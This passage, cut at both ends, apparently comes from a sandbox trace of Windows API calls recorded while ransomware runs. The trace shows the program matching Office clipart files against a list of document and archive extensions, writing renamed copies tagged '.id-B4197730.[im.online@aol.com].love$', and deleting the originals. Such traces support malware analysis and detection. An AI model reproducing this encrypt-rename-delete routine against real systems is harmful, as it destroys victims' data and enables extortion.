lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0119.897] SetEndOfFile (hFile=0x384) returned 1 [0119.897] CloseHandle (hObject=0x384) returned 1 [0119.898] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.898] SetEndOfFile (hFile=0x340) returned 1 [0119.899] CloseHandle (hObject=0x340) returned 1 [0119.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0119.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0119.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0119.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0119.900] lstrlenW (lpString=".doc") returned 4 [0119.900] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.900] lstrlenW (lpString=".docx") returned 5 [0119.901] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.901] lstrlenW (lpString=".pdf") returned 4 [0119.901] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.901] lstrlenW (lpString=".xls") returned 4 [0119.901] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.901] lstrlenW (lpString=".xlsx") returned 5 [0119.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.901] lstrlenW (lpString=".ppt") returned 4 [0119.901] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0119.901] lstrlenW (lpString=".zip") returned 4 [0119.901] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.901] lstrlenW (lpString=".rar") returned 4 [0119.901] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.901] lstrlenW (lpString=".bz2") returned 4 [0119.901] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.901] lstrlenW (lpString=".7z") returned 3 [0119.901] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0119.901] lstrlenW (lpString=".dbf") returned 4 [0119.901] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0119.901] lstrlenW (lpString=".1cd") returned 4 [0119.901] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0119.901] lstrlenW (lpString=".jpg") returned 4 [0119.901] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0119.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0119.902] lstrlenW (lpString=".doc") returned 4 [0119.902] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.902] lstrlenW (lpString=".docx") returned 5 [0119.902] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.902] lstrlenW (lpString=".pdf") returned 4 [0119.902] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.902] lstrlenW (lpString=".xls") returned 4 [0119.902] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.902] lstrlenW (lpString=".xlsx") returned 5 [0119.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.902] lstrlenW (lpString=".ppt") returned 4 [0119.902] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0119.902] lstrlenW (lpString=".zip") returned 4 [0119.902] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.902] lstrlenW (lpString=".rar") returned 4 [0119.902] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.902] lstrlenW (lpString=".bz2") returned 4 [0119.902] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.902] lstrlenW (lpString=".7z") returned 3 [0119.902] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0119.902] lstrlenW (lpString=".dbf") returned 4 [0119.902] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0119.902] lstrlenW (lpString=".1cd") returned 4 [0119.902] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0119.902] lstrlenW (lpString=".jpg") returned 4 [0119.903] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.903] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0119.903] lstrlenW (lpString="AG00176_.GIF") returned 12 [0119.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0119.905] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=3120) returned 1 [0119.905] CloseHandle (hObject=0x340) returned 1 [0119.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0119.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0119.905] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.905] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0119.906] GetLastError () returned 0x0 [0119.906] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xc30, lpOverlapped=0x0) returned 1 [0119.908] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xc40, lpOverlapped=0x0) returned 1 [0119.909] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0119.909] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0119.910] SetEndOfFile (hFile=0x384) returned 1 [0119.910] CloseHandle (hObject=0x384) returned 1 [0119.911] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.911] SetEndOfFile (hFile=0x340) returned 1 [0119.912] CloseHandle (hObject=0x340) returned 1 [0119.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0119.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0119.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0119.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0119.913] lstrlenW (lpString=".doc") returned 4 [0119.913] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.913] lstrlenW (lpString=".docx") returned 5 [0119.913] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.913] lstrlenW (lpString=".pdf") returned 4 [0119.913] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.913] lstrlenW (lpString=".xls") returned 4 [0119.913] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.913] lstrlenW (lpString=".xlsx") returned 5 [0119.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.913] lstrlenW (lpString=".ppt") returned 4 [0119.913] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0119.913] lstrlenW (lpString=".zip") returned 4 [0119.913] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.913] lstrlenW (lpString=".rar") returned 4 [0119.913] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.913] lstrlenW (lpString=".bz2") returned 4 [0119.913] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.913] lstrlenW (lpString=".7z") returned 3 [0119.914] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0119.914] lstrlenW (lpString=".dbf") returned 4 [0119.914] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0119.914] lstrlenW (lpString=".1cd") returned 4 [0119.914] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0119.914] lstrlenW (lpString=".jpg") returned 4 [0119.914] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0119.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0119.914] lstrlenW (lpString=".doc") returned 4 [0119.914] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.914] lstrlenW (lpString=".docx") returned 5 [0119.914] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.914] lstrlenW (lpString=".pdf") returned 4 [0119.914] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.914] lstrlenW (lpString=".xls") returned 4 [0119.915] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.915] lstrlenW (lpString=".xlsx") returned 5 [0119.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.915] lstrlenW (lpString=".ppt") returned 4 [0119.915] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0119.915] lstrlenW (lpString=".zip") returned 4 [0119.915] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.915] lstrlenW (lpString=".rar") returned 4 [0119.915] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.915] lstrlenW (lpString=".bz2") returned 4 [0119.915] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.915] lstrlenW (lpString=".7z") returned 3 [0119.915] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0119.915] lstrlenW (lpString=".dbf") returned 4 [0119.915] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0119.915] lstrlenW (lpString=".1cd") returned 4 [0119.915] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0119.915] lstrlenW (lpString=".jpg") returned 4 [0119.915] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.915] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0119.915] lstrlenW (lpString="AN00010_.WMF") returned 12 [0119.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0119.916] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=3026) returned 1 [0119.916] CloseHandle (hObject=0x340) returned 1 [0119.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0119.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0119.916] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.916] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0119.917] GetLastError () returned 0x0 [0119.917] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xbd2, lpOverlapped=0x0) returned 1 [0119.919] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xbe0, lpOverlapped=0x0) returned 1 [0119.920] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0119.920] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0119.920] SetEndOfFile (hFile=0x384) returned 1 [0119.921] CloseHandle (hObject=0x384) returned 1 [0119.922] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.922] SetEndOfFile (hFile=0x340) returned 1 [0119.923] CloseHandle (hObject=0x340) returned 1 [0119.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0119.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0119.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0119.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0119.924] lstrlenW (lpString=".doc") returned 4 [0119.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0119.924] lstrlenW (lpString=".docx") returned 5 [0119.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0119.924] lstrlenW (lpString=".pdf") returned 4 [0119.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0119.924] lstrlenW (lpString=".xls") returned 4 [0119.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0119.924] lstrlenW (lpString=".xlsx") returned 5 [0119.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0119.924] lstrlenW (lpString=".ppt") returned 4 [0119.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0119.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0119.924] lstrlenW (lpString=".zip") returned 4 [0119.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0119.924] lstrlenW (lpString=".rar") returned 4 [0119.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0119.924] lstrlenW (lpString=".bz2") returned 4 [0119.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0119.925] lstrlenW (lpString=".7z") returned 3 [0119.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0119.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0119.925] lstrlenW (lpString=".dbf") returned 4 [0119.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0119.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0119.925] lstrlenW (lpString=".1cd") returned 4 [0119.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0119.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0119.925] lstrlenW (lpString=".jpg") returned 4 [0119.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0119.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0119.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0119.925] lstrlenW (lpString=".doc") returned 4 [0119.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0119.925] lstrlenW (lpString=".docx") returned 5 [0119.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0119.925] lstrlenW (lpString=".pdf") returned 4 [0119.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0119.925] lstrlenW (lpString=".xls") returned 4 [0119.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0119.925] lstrlenW (lpString=".xlsx") returned 5 [0119.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0119.925] lstrlenW (lpString=".ppt") returned 4 [0119.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0119.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0119.925] lstrlenW (lpString=".zip") returned 4 [0119.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0119.925] lstrlenW (lpString=".rar") returned 4 [0119.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0119.926] lstrlenW (lpString=".bz2") returned 4 [0119.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0119.926] lstrlenW (lpString=".7z") returned 3 [0119.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0119.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0119.926] lstrlenW (lpString=".dbf") returned 4 [0119.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0119.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0119.926] lstrlenW (lpString=".1cd") returned 4 [0119.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0119.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0119.926] lstrlenW (lpString=".jpg") returned 4 [0119.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0119.926] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0119.926] lstrlenW (lpString="AN00015_.WMF") returned 12 [0119.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0119.927] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=4734) returned 1 [0119.927] CloseHandle (hObject=0x340) returned 1 [0119.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0119.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0119.927] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.927] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0119.928] GetLastError () returned 0x0 [0119.928] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x127e, lpOverlapped=0x0) returned 1 [0120.337] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x1280, lpOverlapped=0x0) returned 1 [0120.338] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0120.339] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0120.339] SetEndOfFile (hFile=0x384) returned 1 [0120.339] CloseHandle (hObject=0x384) returned 1 [0120.342] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.342] SetEndOfFile (hFile=0x340) returned 1 [0120.343] CloseHandle (hObject=0x340) returned 1 [0120.343] 